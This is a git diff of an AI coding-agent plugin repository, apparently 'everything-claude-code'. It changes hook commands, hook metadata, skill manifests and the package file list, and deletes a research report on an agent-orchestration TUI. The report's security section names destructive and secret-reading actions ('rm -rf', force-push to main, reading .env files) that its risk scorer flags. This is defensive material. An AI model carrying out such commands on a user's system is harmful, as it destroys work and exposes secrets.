"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js post:mcp-health-check scripts/hooks/mcp-health-check.js standard,strict"
|
||||
}
|
||||
],
|
||||
"description": "Track failed MCP tool calls, mark unhealthy servers, and attempt reconnect",
|
||||
"id": "post:mcp-health-check"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": "Skill",
|
||||
@@ -191,9 +160,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js post:skill:track scripts/hooks/skill-run-tracker.js standard,strict"
|
||||
}
|
||||
],
|
||||
"description": "Record hard Skill tool failures for skill-health telemetry",
|
||||
"id": "post:skill:track"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Stop": [
|
||||
@@ -204,9 +171,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const fs=require('fs');const path=require('path');const {spawnSync}=require('child_process');const raw=fs.readFileSync(0,'utf8');const finish=(out,err,code)=>{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const script=path.join(root,rel);if(fs.existsSync(script)){const result=spawnSync(process.execPath,[script,'stop:plan-canvas-pending','scripts/hooks/plan-canvas-pending.js','minimal,standard,strict'],{input:raw,encoding:'utf8',env:process.env,cwd:process.cwd(),timeout:30000,maxBuffer:16*1024*1024});const failed=result.error||result.status===null||result.signal;const stdout=!failed&&typeof result.stdout==='string'?result.stdout:'';let stderr=typeof result.stderr==='string'?result.stderr:'';let code=Number.isInteger(result.status)?result.status:0;if(failed){const reason=result.error?result.error.message:(result.signal?'signal '+result.signal:'missing exit status');stderr+='[Stop] ERROR: hook runner failed: '+reason+String.fromCharCode(10);code=1;}finish(stdout,stderr,code);}else{finish(raw,'[Stop] WARNING: could not resolve ECC plugin root; skipping hook'+String.fromCharCode(10),0);}\""
|
||||
}
|
||||
],
|
||||
"description": "Deliver undelivered Plan Canvas browser feedback before the agent stops",
|
||||
"id": "stop:plan-canvas-pending"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -216,9 +181,7 @@
|
||||
"command": "node -e \"const fs=require('fs');const path=require('path');const {spawnSync}=require('child_process');const raw=fs.readFileSync(0,'utf8');const finish=(out,err,code)=>{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const script=path.join(root,rel);if(fs.existsSync(script)){const result=spawnSync(process.execPath,[script,'stop:format-typecheck','scripts/hooks/stop-format-typecheck.js','standard,strict'],{input:raw,encoding:'utf8',env:process.env,cwd:process.cwd(),timeout:300000,maxBuffer:16*1024*1024});const failed=result.error||result.status===null||result.signal;const stdout=!failed&&typeof result.stdout==='string'?result.stdout:'';let stderr=typeof result.stderr==='string'?result.stderr:'';let code=Number.isInteger(result.status)?result.status:0;if(failed){const reason=result.error?result.error.message:(result.signal?'signal '+result.signal:'missing exit status');stderr+='[Stop] ERROR: hook runner failed: '+reason+String.fromCharCode(10);code=1;}finish(stdout,stderr,code);}else{finish(raw,'[Stop] WARNING: could not resolve ECC plugin root; skipping hook'+String.fromCharCode(10),0);}\"",
|
||||
"timeout": 300
|
||||
}
|
||||
],
|
||||
"description": "Batch format (Biome/Prettier) and typecheck (tsc) all JS/TS files edited this response — runs once at Stop instead of after every Edit",
|
||||
"id": "stop:format-typecheck"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -227,9 +190,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const fs=require('fs');const path=require('path');const {spawnSync}=require('child_process');const raw=fs.readFileSync(0,'utf8');const finish=(out,err,code)=>{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const script=path.join(root,rel);if(fs.existsSync(script)){const result=spawnSync(process.execPath,[script,'stop:check-console-log','scripts/hooks/check-console-log.js','standard,strict'],{input:raw,encoding:'utf8',env:process.env,cwd:process.cwd(),timeout:30000,maxBuffer:16*1024*1024});const failed=result.error||result.status===null||result.signal;const stdout=!failed&&typeof result.stdout==='string'?result.stdout:'';let stderr=typeof result.stderr==='string'?result.stderr:'';let code=Number.isInteger(result.status)?result.status:0;if(failed){const reason=result.error?result.error.message:(result.signal?'signal '+result.signal:'missing exit status');stderr+='[Stop] ERROR: hook runner failed: '+reason+String.fromCharCode(10);code=1;}finish(stdout,stderr,code);}else{finish(raw,'[Stop] WARNING: could not resolve ECC plugin root; skipping hook'+String.fromCharCode(10),0);}\""
|
||||
}
|
||||
],
|
||||
"description": "Check for console.log in modified files after each response",
|
||||
"id": "stop:check-console-log"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -240,9 +201,7 @@
|
||||
"async": true,
|
||||
"timeout": 10
|
||||
}
|
||||
],
|
||||
"description": "Persist session state after each response (Stop carries transcript_path)",
|
||||
"id": "stop:session-end"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -253,9 +212,7 @@
|
||||
"async": true,
|
||||
"timeout": 10
|
||||
}
|
||||
],
|
||||
"description": "Evaluate session for extractable patterns",
|
||||
"id": "stop:evaluate-session"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -266,9 +223,7 @@
|
||||
"async": true,
|
||||
"timeout": 10
|
||||
}
|
||||
],
|
||||
"description": "Track token and cost metrics per session",
|
||||
"id": "stop:cost-tracker"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -279,9 +234,7 @@
|
||||
"async": true,
|
||||
"timeout": 10
|
||||
}
|
||||
],
|
||||
"description": "Send desktop notification (macOS/WSL) with task summary when Claude responds",
|
||||
"id": "stop:desktop-notify"
|
||||
]
|
||||
}
|
||||
],
|
||||
"SessionEnd": [
|
||||
@@ -294,9 +247,7 @@
|
||||
"async": true,
|
||||
"timeout": 10
|
||||
}
|
||||
],
|
||||
"description": "Session end lifecycle marker (non-blocking)",
|
||||
"id": "session:end:marker"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
{
|
||||
"$schema": "../schemas/hooks-metadata.schema.json",
|
||||
"entries": {
|
||||
"PreToolUse": [
|
||||
{
|
||||
"id": "pre:bash:dispatcher",
|
||||
"description": "Consolidated Bash preflight dispatcher for quality, tmux, push, and GateGuard checks",
|
||||
"fingerprint": "0d30f37d2148"
|
||||
},
|
||||
{
|
||||
"id": "pre:powershell:gateguard-fact-force",
|
||||
"description": "PowerShell fact-forcing gate: inspect destructive commands without running unrelated Bash-only preflight hooks",
|
||||
"fingerprint": "63877b632223"
|
||||
},
|
||||
{
|
||||
"id": "pre:write:doc-file-warning",
|
||||
"description": "Doc file warning: warn about non-standard documentation files (exit code 0; warns only)",
|
||||
"fingerprint": "595406f864e2"
|
||||
},
|
||||
{
|
||||
"id": "pre:edit-write:suggest-compact",
|
||||
"description": "Suggest manual compaction at logical intervals",
|
||||
"fingerprint": "d99998a8f039"
|
||||
},
|
||||
{
|
||||
"id": "pre:observe:continuous-learning",
|
||||
"description": "Capture tool use observations for continuous learning",
|
||||
"fingerprint": "17f73ac2a883"
|
||||
},
|
||||
{
|
||||
"id": "pre:governance-capture",
|
||||
"description": "Capture governance events (secrets, policy violations, approval requests). Enable with ECC_GOVERNANCE_CAPTURE=1",
|
||||
"fingerprint": "ffa978692652"
|
||||
},
|
||||
{
|
||||
"id": "pre:config-protection",
|
||||
"description": "Block modifications to linter/formatter config files. Steers agent to fix code instead of weakening configs.",
|
||||
"fingerprint": "2b2be80bbeb3"
|
||||
},
|
||||
{
|
||||
"id": "pre:mcp-health-check",
|
||||
"description": "Check MCP server health before MCP tool execution and block unhealthy MCP calls",
|
||||
"fingerprint": "922686364d01"
|
||||
},
|
||||
{
|
||||
"id": "pre:edit-write:gateguard-fact-force",
|
||||
"description": "Fact-forcing gate: block first Edit/Write/MultiEdit per file and demand investigation (importers, data schemas, user instruction) before allowing",
|
||||
"fingerprint": "32c4a312b4c2"
|
||||
}
|
||||
],
|
||||
"PreCompact": [
|
||||
{
|
||||
"id": "pre:compact",
|
||||
"description": "Save state before context compaction",
|
||||
"fingerprint": "5a4ef4aaa985"
|
||||
}
|
||||
],
|
||||
"SessionStart": [
|
||||
{
|
||||
"id": "session:start",
|
||||
"description": "Load previous context and detect package manager on new session",
|
||||
"fingerprint": "3bbe414382a5"
|
||||
},
|
||||
{
|
||||
"id": "session-start:plan-canvas-sessions",
|
||||
"description": "Surface open Plan Canvas review sessions so a fresh session can resume the loop",
|
||||
"fingerprint": "ad75ab423357"
|
||||
}
|
||||
],
|
||||
"PostToolUse": [
|
||||
{
|
||||
"id": "post:dispatcher:sync",
|
||||
"description": "Run synchronous PostToolUse hooks in one process while preserving per-hook controls",
|
||||
"fingerprint": "cc868baab727"
|
||||
},
|
||||
{
|
||||
"id": "post:dispatcher:async",
|
||||
"description": "Run background PostToolUse hooks in one process while preserving per-hook controls",
|
||||
"fingerprint": "5e256d15db44"
|
||||
}
|
||||
],
|
||||
"PostToolUseFailure": [
|
||||
{
|
||||
"id": "post:mcp-health-check",
|
||||
"description": "Track failed MCP tool calls, mark unhealthy servers, and attempt reconnect",
|
||||
"fingerprint": "9e25549c1229"
|
||||
},
|
||||
{
|
||||
"id": "post:skill:track",
|
||||
"description": "Record hard Skill tool failures for skill-health telemetry",
|
||||
"fingerprint": "a4dbe0729f30"
|
||||
}
|
||||
],
|
||||
"Stop": [
|
||||
{
|
||||
"id": "stop:plan-canvas-pending",
|
||||
"description": "Deliver undelivered Plan Canvas browser feedback before the agent stops",
|
||||
"fingerprint": "e1a0fd79c26f"
|
||||
},
|
||||
{
|
||||
"id": "stop:format-typecheck",
|
||||
"description": "Batch format (Biome/Prettier) and typecheck (tsc) all JS/TS files edited this response — runs once at Stop instead of after every Edit",
|
||||
"fingerprint": "9836d01e962e"
|
||||
},
|
||||
{
|
||||
"id": "stop:check-console-log",
|
||||
"description": "Check for console.log in modified files after each response",
|
||||
"fingerprint": "235c7f182b76"
|
||||
},
|
||||
{
|
||||
"id": "stop:session-end",
|
||||
"description": "Persist session state after each response (Stop carries transcript_path)",
|
||||
"fingerprint": "981212c32849"
|
||||
},
|
||||
{
|
||||
"id": "stop:evaluate-session",
|
||||
"description": "Evaluate session for extractable patterns",
|
||||
"fingerprint": "d874ecf69ef7"
|
||||
},
|
||||
{
|
||||
"id": "stop:cost-tracker",
|
||||
"description": "Track token and cost metrics per session",
|
||||
"fingerprint": "57d255146fc0"
|
||||
},
|
||||
{
|
||||
"id": "stop:desktop-notify",
|
||||
"description": "Send desktop notification (macOS/WSL) with task summary when Claude responds",
|
||||
"fingerprint": "668cdbae027d"
|
||||
}
|
||||
],
|
||||
"SessionEnd": [
|
||||
{
|
||||
"id": "session:end:marker",
|
||||
"description": "Session end lifecycle marker (non-blocking)",
|
||||
"fingerprint": "23a3832480e1"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -202,10 +202,18 @@
|
||||
"prediction-market-skills"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "capability:operator-desk-patterns",
|
||||
"family": "capability",
|
||||
"description": "Operator desk patterns for agents that draft, gate, and paper external counterparty interactions.",
|
||||
"modules": [
|
||||
"operator-desk-patterns"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "capability:ito-compute",
|
||||
"family": "capability",
|
||||
"description": "Authenticated Itô GPU inventory, RFQ, status, device revocation, and explicitly gated node-qualification workflows through the separately installed canonical CLI.",
|
||||
"description": "Authenticated It\u00f4 GPU inventory, RFQ, status, device revocation, and explicitly gated node-qualification workflows through the separately installed canonical CLI.",
|
||||
"modules": [
|
||||
"ito-compute"
|
||||
]
|
||||
|
||||
@@ -175,7 +175,6 @@
|
||||
"skills/frontend-patterns",
|
||||
"skills/frontend-slides",
|
||||
"skills/make-interfaces-feel-better",
|
||||
"skills/motion-ui",
|
||||
"skills/golang-patterns",
|
||||
"skills/golang-testing",
|
||||
"skills/java-coding-standards",
|
||||
@@ -197,6 +196,7 @@
|
||||
"skills/quarkus-patterns",
|
||||
"skills/quarkus-tdd",
|
||||
"skills/quarkus-verification",
|
||||
"skills/rails-patterns",
|
||||
"skills/react-patterns",
|
||||
"skills/react-performance",
|
||||
"skills/react-testing",
|
||||
@@ -641,10 +641,37 @@
|
||||
"cost": "medium",
|
||||
"stability": "beta"
|
||||
},
|
||||
{
|
||||
"id": "operator-desk-patterns",
|
||||
"kind": "skills",
|
||||
"description": "Generic operator desk patterns: never-silent approval loop, counterparty channel discipline, master agreement generation with a rolling schedule, and deterministic e-signature field placement.",
|
||||
"paths": [
|
||||
"skills/operator-approval-loop",
|
||||
"skills/counterparty-channel-discipline",
|
||||
"skills/master-agreement-generator",
|
||||
"skills/esign-field-placement"
|
||||
],
|
||||
"targets": [
|
||||
"claude",
|
||||
"claude-project",
|
||||
"cursor",
|
||||
"antigravity",
|
||||
"codex",
|
||||
"opencode",
|
||||
"codebuddy",
|
||||
"joycode",
|
||||
"qwen",
|
||||
"zed"
|
||||
],
|
||||
"dependencies": [],
|
||||
"defaultInstall": false,
|
||||
"cost": "light",
|
||||
"stability": "beta"
|
||||
},
|
||||
{
|
||||
"id": "ito-compute",
|
||||
"kind": "skills",
|
||||
"description": "Authenticated Itô GPU inventory, RFQ, status, device revocation, and explicitly gated node-qualification workflows through the separately installed canonical CLI.",
|
||||
"description": "Authenticated It\u00f4 GPU inventory, RFQ, status, device revocation, and explicitly gated node-qualification workflows through the separately installed canonical CLI.",
|
||||
"paths": [
|
||||
"skills/ito-compute",
|
||||
"skills/ito-inference",
|
||||
@@ -745,7 +772,9 @@
|
||||
"skills/video-editing",
|
||||
"skills/videodb",
|
||||
"skills/taste",
|
||||
"skills/tasteforge-video"
|
||||
"skills/tasteforge-video",
|
||||
"skills/taste-distillation",
|
||||
"skills/taste-application"
|
||||
],
|
||||
"targets": [
|
||||
"claude",
|
||||
|
||||
@@ -89,6 +89,7 @@
|
||||
"operator-workflows",
|
||||
"optimization-workflows",
|
||||
"prediction-market-skills",
|
||||
"operator-desk-patterns",
|
||||
"ito-compute",
|
||||
"nasiko-control-plane",
|
||||
"social-distribution",
|
||||
|
||||
@@ -208,11 +208,6 @@
|
||||
"OPENAI_API_KEY": "YOUR_OPENAI_API_KEY_HERE"
|
||||
},
|
||||
"description": "AI agent regression testing — snapshot behavior, detect regressions in tool calls and output quality. 8 tools: create_test, run_snapshot, run_check, list_tests, validate_skill, generate_skill_tests, run_skill_test, generate_visual_report. API key optional — deterministic checks (tool diff, output hash) work without it. Install: pip install \"evalview>=0.5,<1\""
|
||||
},
|
||||
"squish": {
|
||||
"command": "npx",
|
||||
"args": ["-y", "squish-memory"],
|
||||
"description": "Local-first persistent memory runtime for AI agents — MCP server for Claude Code, Cursor, OpenCode, Codex, Cline. Auto-captures context across sessions. 1-20ms recall, 283KB, no second LLM needed. Runs locally with SQLite. Supports cloud sync via Stripe checkout ($9-$99/mo). GitHub: https://github.com/michielhdoteth/squish | Docs: https://squishplugin.dev | (also available via local `squish run mcp`)"
|
||||
}
|
||||
},
|
||||
"_comments": {
|
||||
|
||||
+11
-1
@@ -70,6 +70,7 @@
|
||||
"docs/de-DE/",
|
||||
"docs/CODEX-NAVIGATION-GUIDE.md",
|
||||
"docs/COMMAND-AGENT-MAP.md",
|
||||
"docs/ROADMAP.md",
|
||||
"docs/design/ecc-memory-vault.md",
|
||||
"docs/ja-JP/",
|
||||
"docs/ko-KR/",
|
||||
@@ -80,6 +81,7 @@
|
||||
"docs/vi-VN/",
|
||||
"docs/zh-CN/",
|
||||
"docs/zh-TW/",
|
||||
"examples/eval-harness/",
|
||||
"hooks/",
|
||||
"install.ps1",
|
||||
"install.sh",
|
||||
@@ -107,6 +109,7 @@
|
||||
"scripts/gemini-adapt-agents.js",
|
||||
"scripts/harness-adapter-compliance.js",
|
||||
"scripts/harness-audit.js",
|
||||
"scripts/eval-harness.js",
|
||||
"scripts/observability-readiness.js",
|
||||
"scripts/operator-readiness-dashboard.js",
|
||||
"scripts/platform-audit.js",
|
||||
@@ -181,6 +184,7 @@
|
||||
"skills/cost-tracking/",
|
||||
"skills/council/",
|
||||
"skills/council-multi-model/",
|
||||
"skills/counterparty-channel-discipline/",
|
||||
"skills/cpp-coding-standards/",
|
||||
"skills/cpp-testing/",
|
||||
"skills/crosspost/",
|
||||
@@ -210,6 +214,7 @@
|
||||
"skills/energy-procurement/",
|
||||
"skills/enterprise-agent-ops/",
|
||||
"skills/error-handling/",
|
||||
"skills/esign-field-placement/",
|
||||
"skills/eval-harness/",
|
||||
"skills/evm-token-decimals/",
|
||||
"skills/exa-search/",
|
||||
@@ -264,7 +269,6 @@
|
||||
"skills/mcp-server-patterns/",
|
||||
"skills/messages-ops/",
|
||||
"skills/mle-workflow/",
|
||||
"skills/motion-ui/",
|
||||
"skills/mysql-patterns/",
|
||||
"skills/nanoclaw-repl/",
|
||||
"skills/nestjs-patterns/",
|
||||
@@ -298,6 +302,7 @@
|
||||
"skills/quarkus-security/",
|
||||
"skills/quarkus-tdd/",
|
||||
"skills/quarkus-verification/",
|
||||
"skills/rails-patterns/",
|
||||
"skills/ralphinho-rfc-pipeline/",
|
||||
"skills/react-patterns/",
|
||||
"skills/react-performance/",
|
||||
@@ -400,6 +405,7 @@
|
||||
"skills/loop-design-check/",
|
||||
"skills/mailtrap-email-integration/",
|
||||
"skills/marketing-campaign/",
|
||||
"skills/master-agreement-generator/",
|
||||
"skills/ml-adoption-playbook/",
|
||||
"skills/motion-advanced/",
|
||||
"skills/motion-foundations/",
|
||||
@@ -407,6 +413,7 @@
|
||||
"skills/nextjs-turbopack/",
|
||||
"skills/nuxt4-patterns/",
|
||||
"skills/openclaw-persona-forge/",
|
||||
"skills/operator-approval-loop/",
|
||||
"skills/opensource-pipeline/",
|
||||
"skills/orch-add-feature/",
|
||||
"skills/orch-build-mvp/",
|
||||
@@ -426,6 +433,8 @@
|
||||
"skills/santa-method/",
|
||||
"skills/social-publisher/",
|
||||
"skills/taste/",
|
||||
"skills/taste-application/",
|
||||
"skills/taste-distillation/",
|
||||
"skills/tasteforge-video/",
|
||||
"skills/tinystruct-patterns/",
|
||||
"skills/uncloud/",
|
||||
@@ -455,6 +464,7 @@
|
||||
"lint": "eslint . && markdownlint '**/*.md' --ignore node_modules",
|
||||
"harness:adapters": "node scripts/harness-adapter-compliance.js",
|
||||
"harness:audit": "node scripts/harness-audit.js",
|
||||
"harness:eval": "node scripts/eval-harness.js",
|
||||
"observability:ready": "node scripts/observability-readiness.js",
|
||||
"operator:dashboard": "node scripts/operator-readiness-dashboard.js",
|
||||
"preview-pack:smoke": "node scripts/preview-pack-smoke.js",
|
||||
|
||||
@@ -1,172 +0,0 @@
|
||||
# ECC2 Codebase Research Report
|
||||
|
||||
**Date:** 2026-03-26
|
||||
**Subject:** `ecc-tui` v0.1.0 — Agentic IDE Control Plane
|
||||
**Total Lines:** 4,417 across 15 `.rs` files
|
||||
|
||||
## 1. Architecture Overview
|
||||
|
||||
ECC2 is a Rust TUI application that orchestrates AI coding agent sessions. It uses:
|
||||
- **ratatui 0.29** + **crossterm 0.28** for terminal UI
|
||||
- **rusqlite 0.32** (bundled) for local state persistence
|
||||
- **tokio 1** (full) for async runtime
|
||||
- **clap 4** (derive) for CLI
|
||||
|
||||
### Module Breakdown
|
||||
|
||||
| Module | Lines | Purpose |
|
||||
|--------|------:|---------|
|
||||
| `session/` | 1,974 | Session lifecycle, persistence, runtime, output |
|
||||
| `tui/` | 1,613 | Dashboard, app loop, custom widgets |
|
||||
| `observability/` | 409 | Tool call risk scoring and logging |
|
||||
| `config/` | 144 | Configuration (TOML file) |
|
||||
| `main.rs` | 142 | CLI entry point |
|
||||
| `worktree/` | 99 | Git worktree management |
|
||||
| `comms/` | 36 | Inter-agent messaging (send only) |
|
||||
|
||||
### Key Architectural Patterns
|
||||
|
||||
- **DbWriter thread** in `session/runtime.rs` — dedicated OS thread for SQLite writes from async context via `mpsc::unbounded_channel` with oneshot acknowledgements. Clean solution to the "SQLite from async" problem.
|
||||
- **Session state machine** with enforced transitions: `Pending → {Running, Failed, Stopped}`, `Running → {Idle, Completed, Failed, Stopped}`, etc.
|
||||
- **Ring buffer** for session output — `OUTPUT_BUFFER_LIMIT = 1000` lines per session with automatic eviction.
|
||||
- **Risk scoring** on tool calls — 4-axis analysis (base tool risk, file sensitivity, blast radius, irreversibility) producing composite 0.0–1.0 scores with suggested actions (Allow/Review/RequireConfirmation/Block).
|
||||
|
||||
## 2. Code Quality Metrics
|
||||
|
||||
| Metric | Value |
|
||||
|--------|-------|
|
||||
| Total lines | 4,417 |
|
||||
| Test functions | 29 |
|
||||
| `unwrap()` calls | 3 |
|
||||
| `unsafe` blocks | 0 |
|
||||
| TODO/FIXME comments | 0 |
|
||||
| Max file size | 1,273 lines (`dashboard.rs`) |
|
||||
|
||||
**Assessment:** The codebase is clean. Only 3 `unwrap()` calls (2 in tests, 1 in config `default()`), zero `unsafe`, and all modules use proper `anyhow::Result` error propagation. The `dashboard.rs` file at 1,273 lines exceeds the repo's 800-line max-file guideline, but it is still manageable at the current scope.
|
||||
|
||||
## 3. Identified Gaps
|
||||
|
||||
### 3.1 Comms Module — Send Without Receive
|
||||
|
||||
`comms/mod.rs` (36 lines) has `send()` but no `receive()`, `poll()`, `inbox()`, or `subscribe()`. The `messages` table exists in SQLite, but nothing reads from it. The inter-agent messaging story is half-built.
|
||||
|
||||
**Impact:** Agents cannot coordinate. The `TaskHandoff`, `Query`, `Response`, and `Conflict` message types are defined but unusable.
|
||||
|
||||
### 3.2 New Session Dialog — Stub
|
||||
|
||||
`dashboard.rs:495` — `new_session()` logs `"New session dialog requested"` but does nothing. Users must use the CLI (`ecc start --task "..."`) to create sessions; the TUI dashboard cannot.
|
||||
|
||||
### 3.3 Single Agent Support
|
||||
|
||||
`session/manager.rs` — `agent_program()` only supports `"claude"`. The CLI accepts `--agent` but anything other than `"claude"` fails. No codex, opencode, or custom agent support.
|
||||
|
||||
### 3.4 Config — File-Only
|
||||
|
||||
`Config::load()` reads `~/.claude/ecc2.toml` only. The implementation lacks environment variable overrides (e.g., `ECC_DB_PATH`, `ECC_WORKTREE_ROOT`) and CLI flags for configuration.
|
||||
|
||||
### 3.5 Legacy Dependency Candidate: `git2`
|
||||
|
||||
`git2 = "0.20"` is still declared in `Cargo.toml`, but the `worktree` module shells out to the `git` CLI instead. That makes `git2` a strong removal candidate rather than an already-completed cleanup.
|
||||
|
||||
### 3.6 No Metrics Aggregation
|
||||
|
||||
`SessionMetrics` tracks tokens, cost, duration, tool_calls, files_changed per session. But there's no aggregate view: total cost across sessions, average duration, top tools by usage, etc. The Metrics pane in the dashboard shows per-session detail only.
|
||||
|
||||
### 3.7 Daemon — No Health Reporting
|
||||
|
||||
`session/daemon.rs` runs an infinite loop checking session timeouts. No health endpoint, no log rotation, no PID file, no signal handling for graceful shutdown. `Ctrl+C` during daemon mode kills the process uncleanly.
|
||||
|
||||
## 4. Test Coverage Analysis
|
||||
|
||||
34 test functions across 10 source modules:
|
||||
|
||||
| Module | Tests | Coverage Focus |
|
||||
|--------|------:|----------------|
|
||||
| `main.rs` | 1 | CLI parsing |
|
||||
| `config/mod.rs` | 5 | Defaults, deserialization, legacy fallback |
|
||||
| `observability/mod.rs` | 5 | Risk scoring, persistence, pagination |
|
||||
| `session/daemon.rs` | 2 | Crash recovery / liveness handling |
|
||||
| `session/manager.rs` | 4 | Session lifecycle, resume, stop, latest status |
|
||||
| `session/output.rs` | 2 | Ring buffer, broadcast |
|
||||
| `session/runtime.rs` | 1 | Output capture persistence/events |
|
||||
| `session/store.rs` | 3 | Buffer window, migration, state transitions |
|
||||
| `tui/dashboard.rs` | 8 | Rendering, selection, pane navigation, scrolling |
|
||||
| `tui/widgets.rs` | 3 | Token meter rendering and thresholds |
|
||||
|
||||
**Direct coverage gaps:**
|
||||
- `comms/mod.rs` — 0 tests
|
||||
- `worktree/mod.rs` — 0 tests
|
||||
|
||||
The core I/O-heavy paths are no longer completely untested: `manager.rs`, `runtime.rs`, and `daemon.rs` each have targeted tests. The remaining gap is breadth rather than total absence, especially around `comms/`, `worktree/`, and more adversarial process/worktree failure cases.
|
||||
|
||||
## 5. Security Observations
|
||||
|
||||
- **No secrets in code.** Config reads from TOML file, no hardcoded credentials.
|
||||
- **Process spawning** uses `tokio::process::Command` with explicit `Stdio::piped()` — no shell injection vectors.
|
||||
- **Risk scoring** is a strong feature — catches `rm -rf`, `git push --force origin main`, file access to `.env`/secrets.
|
||||
